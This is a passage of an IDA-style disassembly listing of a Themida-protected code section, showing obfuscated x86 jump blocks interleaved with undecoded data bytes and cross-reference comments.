; ---------------------------------------------------------------------------


loc_5544DB:				; CODE XREF: Themida_:0056214Ej
		or	eax, eax
		jz	loc_552B13
		push	3B5Dh
		mov	[esp], eax
		jmp	loc_553F6B
; ---------------------------------------------------------------------------
		dd 2104C483h, 2434FFE9h, 4331E95Dh, 30BE0000h, 8152802Eh
		dd 62E9C0C6h, 0D3CCE919h, 0F4800000h, 0FFE62003h, 0F5E92434h
		dd 0C10000BDh, 0D7F702E7h, 0FFE69CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554525:				; CODE XREF: Themida_:00554116j
		sub	[edi+24h], ebx
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5594D4
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 2
		dd 0E9000000h, 1434h, 5868D829h, 89000046h, 80BB241Ch
		dd 81592365h, 0E5032BF3h, 2E3C12Ch, 0FFF4BEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554565:				; CODE XREF: Themida_:00553A85j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shr	ebp, 4
		push	ebx
		jmp	loc_564BD7
; ---------------------------------------------------------------------------
byte_55457B	db 66h			; DATA XREF: Themida_:00550E28o
		dd 56240C8Bh, 0C681E689h, 4, 1155DE9h
		db 0
byte_55458D	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00550EA8o
		dd 5A2434FFh, 4C481h, 89500000h, 0D16855E0h, 5D707D6Bh
		dd 3874CD81h, 0BF5742C3h, 8D00840Fh, 535FFD01h,	83B53BBh
		dd 0FEC38101h, 0C114BE4Dh, 0E38105E3h, 53E238C0h, 1DEDE9h
		db 0
; ---------------------------------------------------------------------------


loc_5545CD:				; CODE XREF: Themida_:00557FCEj
		xchg	ebp, [esp]
		pop	esp
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_552376
; ---------------------------------------------------------------------------
		dw 835Eh
		dd 2C8704C4h, 0CD25C24h, 37E99C24h, 0FE0000F0h,	3CC180C9h
		dd 0A3E9CB30h, 83000004h, 0C8904ECh, 0EEBA5224h, 8137600Dh
		dd 0FFFFFFEAh, 0FCFFE9FFh, 0EDB90000h, 0E95A8B1Eh, 0C8AFh
		dd 83242489h, 5B042404h, 4C381h, 0E9500000h, 60FFh, 7FE9DEF7h
		db 8, 1, 0
byte_55463B	db 66h			; DATA XREF: Themida_:00550E08o
		dd 68240C8Bh, 6277h, 83240C89h,	8F5404ECh, 53502404h, 8B685356h
		dd 5B45CD55h, 0ED37E9h,	48F5900h, 80685C24h, 8900007Bh
		dd 0A6E9240Ch, 5A0000E8h, 0E959CF88h, 315Dh, 33E5EE81h
		dd 0C6810085h, 0E8C3874h, 0F487C681h, 0EF81C66Fh, 339F3CC7h
		dd 70E9F701h, 89FFFFE3h, 0FEE9E9EFh
		db 2 dup(0)
word_55469E	dw 6664h		; DATA XREF: Themida_:00550E1Co
		dd 6602B60Fh, 66102868h, 0E9240489h, 0FFFFC8AFh, 0B4F5B151h
		dd 59CC00D3h, 0E958E700h, 0FB6Dh, 0D5E56B8h, 4096055Ch
		dd 88E93434h
		db 0C7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5546CF:				; CODE XREF: Themida_:005636B7j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55CF94
; ---------------------------------------------------------------------------


loc_5546DA:				; CODE XREF: Themida_:005549C0j
		sub	ebx, 620E20EEh
		add	ebx, 5D332FFEh
		jmp	loc_5658F3
; ---------------------------------------------------------------------------
aJs		db 'JИ╥н',0
		dd 0C5895500h, 8B5DEA89h, 0C4832404h, 0DBE95104h, 81000045h
		dd 4ECh, 24148900h, 0EA8091B2h,	0E9D2F601h, 7FF1h, 575BDD29h
		dd 832579BFh, 11E94752h
		db 0DDh, 2 dup(0)
byte_554727	db 0FFh			; DATA XREF: Themida_:00550DB4o
		dd 34FF2434h, 24048B24h, 5104C483h, 0EC81E189h,	4, 0A6DE9h
		dd 4C48100h, 8F000000h,	248B2404h, 240C8924h, 0A1F1E9h
		db 0
; ---------------------------------------------------------------------------


loc_554755:				; CODE XREF: Themida_:00565918j
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		push	1D45h
		mov	[esp], ebp
		mov	ebp, 1876820h
		jmp	loc_55A402
; ---------------------------------------------------------------------------


loc_55476C:				; CODE XREF: Themida_:00559B34j
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55ABE6
; ---------------------------------------------------------------------------
		dd 2F9E581h, 0E2E95AD5h, 490000A5h, 77E8E981h, 32E97F63h
		dd 0C100009Ch, 0CB8102EBh, 0D387DBBh, 8746F387h, 0F5A3E9F3h
		dd 0C4830000h, 4EC8304h, 89240C89h, 0E18951E1h,	241EBE56h
		dd 0EE817A50h, 7A50241Ah, 348BF101h, 4C48124h, 0E9000000h
		dd 7078h, 83241489h, 3C8904ECh,	0C2685024h, 5867704Ch
		dd 0C06BE9h, 45BA5200h,	512F3274h, 6B8BBF57h, 9CE936ACh
		dd 5E000068h, 0BDB4E9h,	58C12900h, 2416E9h, 56F78100h
		dd 5036BF26h, 0E32A9CB8h, 0FFFF2D12h, 3935FFFFh, 0E9659504h
		dd 0B77Bh
; ---------------------------------------------------------------------------


loc_554820:				; CODE XREF: Themida_:0055B20Fj
		push	ebx
		jmp	loc_56433B
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 6A2C01BDh, 0CB6CE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554832:				; CODE XREF: Themida_:00564358j
		push	ebx
		push	4DA5013Dh
		pop	ebx
		jmp	loc_55D116
; ---------------------------------------------------------------------------
		dw 8B54h
		dd 0C481243Ch, 4, 4EC81h, 0B6E90000h, 310000E8h, 30E9242Ch
		dd 8B000026h, 0C4812414h, 4, 8105E3C1h,	0AA3118CBh, 0A33DE978h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554872:				; CODE XREF: Themida_:00560DCEj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_5571F8
; ---------------------------------------------------------------------------
		db 57h
		dd 0B41B1FBFh, 0DA77E90Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554896:				; CODE XREF: Themida_:00561E09j
		add	ecx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0CB79CD06h
		add	ecx, 0B781B86h
		add	ecx, eax
		sub	ecx, 0B781B86h
		pop	eax
		and	eax, ecx
		pop	ecx
		shr	eax, 18h
		jmp	loc_55A5DE
; ---------------------------------------------------------------------------


loc_5548C1:				; CODE XREF: Themida_:0055CDD6j
		mov	edi, 647CCC3Ah
		mov	edx, edi
		pop	edi
		xor	eax, edx
		pop	edx
		add	ecx, eax
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		push	edx
		jmp	loc_558865
; ---------------------------------------------------------------------------


loc_5548DB:				; CODE XREF: Themida_:0056093Bj
		sub	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		jmp	loc_555DD0
; ---------------------------------------------------------------------------


loc_5548E9:				; CODE XREF: Themida_:00553E05j
		push	edx
		jmp	loc_565158
; ---------------------------------------------------------------------------


loc_5548EF:				; CODE XREF: Themida_:00561D22j
		add	esp, 4
		push	ebp
		mov	ebp, 1CD3129Ch
		xchg	esi, ebp
		jmp	loc_55B2B6
; ---------------------------------------------------------------------------


loc_554902:				; CODE XREF: Themida_:0055EA69j
		dec	edx
		dec	edx
		push	eax
		mov	eax, 4D561F13h
		add	edx, eax
		jmp	loc_55D08C
; ---------------------------------------------------------------------------


loc_554911:				; CODE XREF: Themida_:00563715j
		add	esp, 4
		push	5776h
		mov	[esp], eax
		jmp	loc_556349
; ---------------------------------------------------------------------------


loc_554921:				; CODE XREF: Themida_:00557C30j
		push	dword ptr [esp]
		pop	edi
		jmp	loc_55EBCA
; ---------------------------------------------------------------------------
		dw 8953h
		dd 4C381E3h, 83000000h,	1C8704C3h, 4C8E924h, 2C890001h
		dd 0CC9E924h
		db 1, 0
word_554946	dw 8B66h		; DATA XREF: Themida_:00550D30o
		dd 0F4682404h, 8900007Bh, 0AD68243Ch, 8900007Ch, 52E92424h
		db 67h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55495F:				; CODE XREF: Themida_:00553F96j
		sub	edx, 13043C7Ch
		add	edx, edi
		add	edx, 13043C7Ch
		pop	edi
		xor	eax, edx
		jmp	loc_561193
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 0B8h
		dd 811C6B52h, 0A947E7F7h, 72F78144h, 1A7FD57h, 0D7E95FFAh
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55498F:				; CODE XREF: Themida_:00554ED8j
		sub	edx, 72B86707h
		add	edx, ecx
		add	edx, 72B86707h
		push	ebp
		jmp	loc_560B44
; ---------------------------------------------------------------------------
		db 89h
		dd 8950240Ch, 405E0h, 42D0000h,	50000000h, 9BA8E9h
		db 0
; ---------------------------------------------------------------------------


loc_5549B9:				; CODE XREF: Themida_:00553D82j
		pop	edi
		push	ebp
		mov	ebp, 80508689h
		jmp	loc_5546DA
; ---------------------------------------------------------------------------


loc_5549C5:				; CODE XREF: Themida_:00558969j
		mov	edx, 586A7151h
		xor	edx, 78B65858h
		jmp	loc_55CE0C
; ---------------------------------------------------------------------------


loc_5549D5:				; CODE XREF: Themida_:00558CCAj
		or	ecx, 19EB036Fh
		shl	ecx, 4
		push	47FFh
		mov	[esp], edi
		mov	edi, 4AED343Bh
		and	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		shr	ecx, 5
		jmp	loc_55EBF0
; ---------------------------------------------------------------------------


loc_5549FE:				; CODE XREF: Themida_:00565189j
		push	eax
		mov	eax, esp
		jmp	loc_555797
; ---------------------------------------------------------------------------


loc_554A06:				; CODE XREF: Themida_:0055F74Fj
		push	232Eh
		mov	[esp], ebp
		push	ecx
		jmp	loc_55E7C5
; ---------------------------------------------------------------------------
		dd 5C243487h, 81242C8Bh, 4C4h, 0E1895100h, 8904EC83h, 4BB241Ch
		dd 0E9000000h, 0B9FAh, 36B4BD55h, 0E9891FFEh, 0ACF1815Dh
		dd 686CA710h, 37BCh, 51243C89h,	7E1CFFB9h, 4EC8155h, 89000000h
		dd 0CE892434h, 8B5EF789h, 0C9E9240Ch, 1FFFFE5h,	81042454h
		dd 0DB04246Ch, 81165C37h, 0BB04246Ch, 0FF151C52h, 815A2434h
		dd 4C4h, 0C4D5E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554A8A:				; CODE XREF: Themida_:00564CCAj
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_552482
; ---------------------------------------------------------------------------
aYsA		db 'YИ,═',0
		align 4
		dd 0A73A69BDh, 5DEB3104h, 555BD901h, 250B2FBDh,	0C5814576h
		dd 0AE9DFC2Bh, 0F1AFE9h
		db 0
; ---------------------------------------------------------------------------


loc_554AC5:				; CODE XREF: Themida_:00560665j
		add	dword ptr [esp+4], 4E5A7E28h
		pop	ecx
		pop	edx
		sub	edx, 350D0EA6h
		pop	edi
		jmp	loc_558A1E
; ---------------------------------------------------------------------------


loc_554ADB:				; CODE XREF: Themida_:00555C00j
		mov	[esp], ebp
		push	13A2h
		mov	[esp], edx
		jmp	loc_56579A
; ---------------------------------------------------------------------------
		db 49h
		dd 4731E981h, 5A514849h, 108F6E9h, 5AD78800h, 0F8281F2Ch
		dd 0C372E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554B06:				; CODE XREF: Themida_:0055A5E8j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_565528
; ---------------------------------------------------------------------------
		db 5Ah
		dd 8FC0B60Fh, 8BE98704h
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554B23:				; CODE XREF: Themida_:005574FFj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55134E
; ---------------------------------------------------------------------------


loc_554B39:				; CODE XREF: Themida_:0055E78Aj
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55ADA3
; ---------------------------------------------------------------------------
		dw 4B9h
		dd 50000000h, 10579E9h
		db 0
; ---------------------------------------------------------------------------


loc_554B55:				; CODE XREF: Themida_:005557AEj
		mov	[esp], ebp
		push	dword ptr [esp+4]
		jmp	loc_552EE0
; ---------------------------------------------------------------------------
		db 1, 0CBh, 59h
		dd 4C381h, 1C870000h, 54535C24h, 50241C8Bh, 4432E9h, 5DBB5300h
		dd 816AD73Ah, 634EBDCBh, 0FBEB8120h, 812AEA4Ch,	0BB5410EBh
		dd 12C38152h, 5312AE22h, 0F8240481h, 8B683F62h,	0C481240Ch
		dd 4, 62F8E981h, 815B683Fh, 0B3135EEh, 81CE0153h, 0B3135C6h
		dd 337CE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554BC2:				; CODE XREF: Themida_:00560B34j
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	ebx, ecx
		push	dword ptr [esp]
		jmp	loc_561728
; ---------------------------------------------------------------------------
aS_8		db '^Иен',0
		align 2
		dw 0C381h
		dd 1BF76FFAh, 6182EB81h, 15E94B76h, 1FFFFEBh, 0E9525FFBh
		dd 0FFFFE5B0h, 0C29FE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554BFE:				; CODE XREF: Themida_:00555135j
		xor	ebp, edi
		pop	edi
		mov	edx, ebp
		pop	ebp
		jmp	loc_553BF4
; ---------------------------------------------------------------------------


loc_554C09:				; CODE XREF: Themida_:00555E46j
		pop	esp
		sub	esp, 4
		jmp	loc_55AC90
; ---------------------------------------------------------------------------
aYv		db ')оYV╬',0
		db 1Dh
		dd 0F7213B82h, 4BC7815Eh, 292C483Fh, 0BB535FFAh, 10B35B6Ah
		dd 5D35BA52h, 0E6E93911h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554C3B:				; CODE XREF: Themida_:00551D10j
		not	esi
		jmp	loc_564553
; ---------------------------------------------------------------------------
		dw 835Ch
		dd 1C8904ECh, 2B7BB24h,	0EB817756h, 775602B3h, 505BD801h
		dd 0BF57E089h, 3D415CE4h, 1D78EF81h, 0EFC177EFh, 4E7C104h
		dd 40CF8147h, 8132A35Ch, 0C80A3C7h, 5FF80108h, 1E92BB53h
		dd 0E9437258h, 33E8h, 0E906E7C1h, 8688h, 405E089h, 52000000h
		dd 0FFDD13E9h, 0E4E956FFh
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554CA3:				; CODE XREF: Themida_:00558545j
		push	ebx
		mov	ebx, 25A410CEh
		jmp	loc_5638F3
; ---------------------------------------------------------------------------


loc_554CAE:				; CODE XREF: Themida_:005593B3j
		not	ch
		neg	ch
		push	ax
		jmp	loc_55AB3A
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 81BB74F8h, 0B075BAEBh, 9EC3811Bh, 1717455h, 0BB5351FBh
		dd 212324B1h, 3DE9D989h, 8B00008Ah, 5682404h, 89000027h
		dd 0E389241Ch, 4C381h, 0C3830000h, 241C8704h, 5624248Bh
		dd 0DDE9E689h, 830000E3h, 148904ECh, 7106824h, 0E95A0EF7h
		dd 0A67Eh, 8904EC83h, 0ADBA2414h, 895CDC7Ch, 0DFF75AD7h
		dd 0E9E9F781h, 0EC83F704h, 8A8CE904h, 0C5800000h, 88B252EFh
		dd 0EC83DAF6h, 24148904h, 0E9242486h, 8884h, 6FE9DA01h
		dd 55000077h, 4BDh, 60D7E900h, 2C8B0000h, 4C48324h, 68E9CA01h
		dd 0BF00008Fh, 7BF50A2Eh, 0FC88E9h, 4C38100h, 68000000h
		dd 43FFh, 0BD242C89h, 4, 2DF8C381h, 0EB813DCBh,	56CC248Bh
		dd 0C381EB29h, 56CC248Bh, 27D9E957h, 0F9090000h, 73BD555Fh
		dd 8139C605h, 1EDh, 81D5F700h, 0CB3E85F5h, 0BBCD8114h
		dd 8117B129h, 0CD58D1EDh, 5DE93163h, 0E959C809h, 1B15h
		dd 0E908E7C1h, 0ED13h, 417F68h,	24048900h, 889FB652h, 0C3285AF0h
		dd 8324048Bh, 0DC3004C4h, 58E1885Bh, 0B9CE9h
		db 0
; ---------------------------------------------------------------------------


loc_554DF1:				; CODE XREF: Themida_:0055E0BBj
		mov	edi, 611F0685h
		xor	ebx, edi
		pop	edi
		sub	edx, ebx
		pop	ebx
		xchg	eax, edx
		mov	edx, [esp]
		jmp	loc_55EFE2
; ---------------------------------------------------------------------------


loc_554E05:				; CODE XREF: Themida_:00562905j
		pop	edi
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	675Eh
		mov	[esp], ecx
		jmp	loc_5599EE
; ---------------------------------------------------------------------------
		dw 0E950h
		dd 0FFFFE466h, 8B242C33h, 0C6E92424h
		db 0BAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_554E3B:				; CODE XREF: Themida_:0056354Bj
		add	[esp+0Ch], esi
		pop	esi
		pop	edx
		add	[esp+4], ebp
		push	0D4Ch
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		push	esi
		jmp	loc_55697E
; ---------------------------------------------------------------------------


loc_554E68:				; CODE XREF: Themida_:00552635j
		mov	edi, ebp
		jmp	loc_55CF09
; ---------------------------------------------------------------------------
		db 1
		dd 45E95EF5h
		db 0E7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_554E77:				; CODE XREF: Themida_:0055706Cj
		mov	esi, [esp]
		add	esp, 4
		add	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_55E4E1
; ---------------------------------------------------------------------------


loc_554E8A:				; CODE XREF: Themida_:00551429j
		sub	ch, 71h
		jmp	loc_554402
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 1E6D7211h, 12E9EF01h, 8B000025h
		db 2 dup(24h)
; ---------------------------------------------------------------------------


loc_554EA2:				; CODE XREF: Themida_:loc_556371j
		push	ebx
		add	dword ptr [esp], 515547B9h
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5553C6
; ---------------------------------------------------------------------------


loc_554EB3:				; CODE XREF: Themida_:00552B24j
		pop	edi
		mov	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		push	46ACh
		mov	[esp], ecx
		mov	ecx, 4
		add	edx, 37723B98h
		jmp	loc_55498F
; ---------------------------------------------------------------------------
		db 5Bh,	55h, 0BDh
		dd 23814A6Bh, 0D5F7D5F7h, 0BA52D5F7h, 21635362h, 4D46CA81h
		dd 0E2813780h, 5A433239h, 3E29E281h, 27687A10h,	89000029h
		dd 38BF243Ch, 3154A13Ah, 6CA4E9F7h, 814F0000h, 0EF7C7AEFh
		dd 5F585706h, 5A585250h, 0D1F7CA87h, 5392CA87h,	9F27D5BBh
		dd 23EB814Bh, 9D161B5h,	0D0255BD8h, 51374206h, 725C22B9h
		dd 6A08E927h
		db 2 dup(0)
word_554F4A	dw 0EC83h		; DATA XREF: Themida_:00550EE0o
		dd 24048904h, 24048B54h, 5453E9h, 0E5F68100h, 0E9028977h
		dd 9A4Ah, 0F4E930FFh
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554F6B:				; CODE XREF: Themida_:00558BCDj
		add	edx, 209ED353h
		sub	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		mov	[edi+20h], ebx
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	[edi+20h], ecx
		pop	ecx


loc_554F96:				; CODE XREF: Themida_:005513FDj
					; Themida_:loc_552A5Ej
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_556C85
; ---------------------------------------------------------------------------


loc_554FA1:				; CODE XREF: Themida_:00564B28j
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_564FBE
; ---------------------------------------------------------------------------
aGsxe		db '╤ёИx┘',0
		dw 8B00h
		dd 0C4832414h, 44BE5604h, 57688D14h, 0B9A3E9h, 58545000h
		dd 4BE56h, 0F0010000h, 0E924348Bh, 0FFFFCCE8h, 0C48DE957h
		dd 815A0000h, 4ECh, 0EDDFE900h,	835B0000h, 516604C4h, 0A736E9h
		dd 0E9585400h, 1384h, 0BE243489h, 0E4807ED0h, 9B68E9h
		dd 34875A00h, 24248B24h, 54241489h, 8324148Bh, 685304C4h
		dd 12A4h, 0B8240489h, 5C1B3458h, 2414F750h, 8124048Bh
		dd 4C4h, 4E0C100h, 2D05E8C1h, 15794C81h, 0CD05302Dh, 0F6A6E924h
		db 2 dup(0)
word_555056	dw 77FFh		; DATA XREF: Themida_:00550D18o
		dd 59669D1Ch, 241CD366h, 0BEF9E99Ch, 5558FFFFh,	252A7DBDh
		dd 0E9EF0146h, 3451h, 2434875Ah, 51D8005Ch, 0F1809BB1h
		dd 3BB3E949h, 0BD550000h, 3A304149h, 37F3ED81h,	0EE31FEE6h
		dd 5EF0015Dh, 405h, 0E841E900h,	9968FFFFh, 89000075h, 52E92434h
		dd 81FFFFD0h, 0CEBCFDE9h, 59C8318Ch, 0EFE9C689h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5550BF:				; CODE XREF: Themida_:0055D096j
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_559B1E
; ---------------------------------------------------------------------------


loc_5550D4:				; CODE XREF: Themida_:00560FB4j
		add	esp, 4
		mov	[edi+eax*4], bh
		jmp	loc_5629F7
; ---------------------------------------------------------------------------
		align 10h
		dd 44045BD8h, 8078B353h, 6866ECF3h, 1C280000h, 241C8A24h
		dd 8002C483h, 0C380B7E3h, 5BD8005Eh, 822CC800h,	0C22C442Ch
		dd 8B664A2Ch, 0C483240Ch, 0FC33002h, 34FFC0B6h,	2F2EE987h
		dd 0D8310000h, 8904EC83h, 0E952240Ch, 0EAF1h
; ---------------------------------------------------------------------------


loc_55512C:				; CODE XREF: Themida_:00555CE1j
		shl	edi, 4
		xor	edi, 17731C35h
		jmp	loc_554BFE
; ---------------------------------------------------------------------------


loc_55513A:				; CODE XREF: Themida_:0055D9CCj
		xor	edx, 0C4C83A40h
		mov	ebx, edx
		pop	edx
		add	ebx, edx
		xor	[ebx], ecx
		jmp	loc_55E08C
; ---------------------------------------------------------------------------
		dd 8904EC83h, 5F54243Ch, 7C25BD55h, 0ED8175F8h,	75F87C21h
		dd 711EBE56h, 0F7295B39h, 0CC7815Eh, 149BC5Ch, 0CB850EFh
		dd 2949BC5Ch, 0DEE958C7h
		db 9Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55517F:				; CODE XREF: Themida_:00559AEBj
		push	ebx
		jmp	loc_56391C
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 4
		dd 1000000h, 3646E9F8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555192:				; CODE XREF: Themida_:00552B59j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_551FEE
; ---------------------------------------------------------------------------
		db 81h
		dd 37D10DE9h, 24B951C0h, 8962B23Fh, 0D017E9CBh,	3C89FFFFh
		dd 6839BF24h, 514F2B6Bh, 386DE9h, 0EDC28100h, 0E9C2D6A0h
		dd 7C3Ah, 505A5452h, 4B8h, 7C1E900h, 48B0001h, 102CE924h
		dd 0EC830000h, 241C8904h, 4EC81h, 3C890000h, 3D3BF24h
		dd 10BB56A6h, 1FE2D64h,	0EAE95FFBh, 680000B9h, 5A66h, 0BA241489h
		dd 99B6BF0h, 0B951h, 0D1290000h, 0E959CA89h, 0A49Fh
; ---------------------------------------------------------------------------


loc_55521C:				; CODE XREF: Themida_:0055BE2Dj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0A2002C5h
		jmp	loc_5533CE
; ---------------------------------------------------------------------------
		db 81h
		dd 596481F6h, 0E9F12169h, 1ACBh
; ---------------------------------------------------------------------------


loc_55523C:				; CODE XREF: Themida_:0055A276j
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 0FFFFFFFFh
		jmp	loc_555C79
; ---------------------------------------------------------------------------
		dw 9DBAh
		dd 19D23B6h, 0D0015BDAh, 0E089505Ah, 9D86E9h, 81E68900h
		dd 4C6h, 4EE8300h, 4379E9h
		db 0
; ---------------------------------------------------------------------------


loc_55527D:				; CODE XREF: Themida_:00559C8Dj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		push	3005h
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_551805
; ---------------------------------------------------------------------------
		dw 0D731h
		dd 5EF42D5Ah, 8DE95C90h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5552AB:				; CODE XREF: Themida_:0055A99Fj
		mov	[esp], eax
		mov	eax, esp
		push	6703h
		mov	[esp], ecx
		push	edi
		mov	edi, 253774CDh
		dec	edi
		jmp	loc_5612FD
; ---------------------------------------------------------------------------
		dd 0C281E289h, 4, 8704EA83h, 0E95C2414h, 0FFFFCD38h, 0B7E4E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5552DE:				; CODE XREF: Themida_:0055C186j
		mov	esp, [esp]
		jmp	loc_555BE9
; ---------------------------------------------------------------------------


loc_5552E6:				; CODE XREF: Themida_:0055DBE4j
		pop	ecx
		sub	esi, ebp
		push	dword ptr [esp]
		jmp	loc_5655C3
; ---------------------------------------------------------------------------


loc_5552F1:				; CODE XREF: Themida_:0055A2B6j
		push	3D2C7475h
		pop	ebx
		jmp	loc_56480C
; ---------------------------------------------------------------------------
dword_5552FC	dd 9D1C77FFh, 11665866h, 0E99C2404h, 0FFFFBC53h
					; DATA XREF: Themida_:00550DB0o
; ---------------------------------------------------------------------------


loc_55530C:				; CODE XREF: Themida_:0056478Fj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_565A0F
; ---------------------------------------------------------------------------
		db 66h,	5Fh, 0E9h
		dd 0FFFFE44Ch, 4BFh, 84EA8100h,	1183E45h, 5A8E9FAh
		db 1, 0
; ---------------------------------------------------------------------------


loc_55532E:				; CODE XREF: Themida_:00564F70j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	ecx, 72F014B9h
		sub	ecx, 784C6F67h
		sub	ecx, edi
		add	ecx, 784C6F67h
		push	edi
		jmp	loc_564A8E
; ---------------------------------------------------------------------------


loc_55534F:				; CODE XREF: Themida_:0055841Cj
		push	edi
		mov	edi, 579916CEh
		dec	edi
		not	edi
		jmp	loc_55602F
; ---------------------------------------------------------------------------
		db 68h,	0ADh, 2Bh
		dd 1CE90000h, 57000064h, 3A60A1BFh, 5FF98940h, 17E95341h
		dd 0C00000FEh, 0C3FE04E3h, 4DE9C3FEh
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555383:				; CODE XREF: Themida_:00557B4Ej
		push	25543773h
		push	dword ptr [esp]
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_5657B5
; ---------------------------------------------------------------------------
byte_5553A5	db 64h,	8Fh, 2		; DATA XREF: Themida_:00550DACo
		dd 0FFBBB2E9h, 580EBEFFh, 0B8505337h, 699660D9h, 1BD55h
		dd 0E8010000h, 0D0B2E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5553C6:				; CODE XREF: Themida_:00554EAEj
		push	3347h
		jmp	loc_5538FF
; ---------------------------------------------------------------------------
		dd 592434FFh, 4C481h, 48F0000h,	24248B24h, 24048B66h, 4A8268h
		dd 804DE900h, 0E5890000h, 4B951h, 0CD010000h, 4C58159h
		dd 33000000h, 2C31242Ch, 0F925E924h, 0D1890000h, 81D1F75Ah
		dd 96D275F1h, 0FFCF29D3h, 0A4E92434h
		db 0E7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55541F:				; CODE XREF: Themida_:0055C61Cj
		mov	[esp], ecx
		push	edx
		jmp	loc_553DD2
; ---------------------------------------------------------------------------
		dd 4D07EDC1h, 0AD44F581h, 0E8290C48h, 8BC7315Dh, 1DE92404h
		db 7Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55543F:				; CODE XREF: Themida_:0055D976j
		pop	dword ptr [esp]
		jmp	loc_55BBA6
; ---------------------------------------------------------------------------


loc_555447:				; CODE XREF: Themida_:00558291j
		sub	eax, 0FFFFFFFFh
		xor	eax, 7AA8781Dh
		jmp	loc_557FB9
; ---------------------------------------------------------------------------
aNr6@mvbuXMs_	db '╜R╨6@MV│НЁx&mИ╟_',0 ; DATA XREF: Themida_:00550E4Co
		align 2
word_555466	dw 28Fh			; DATA XREF: Themida_:00550F14o
		dd 0FFBAF2E9h, 0F5F181FFh, 1E728A8h, 0BB5359CFh, 25175E4Fh
		dd 3617E9h, 0C7815800h,	737C6D42h, 5E3C781h, 0DF01757Bh
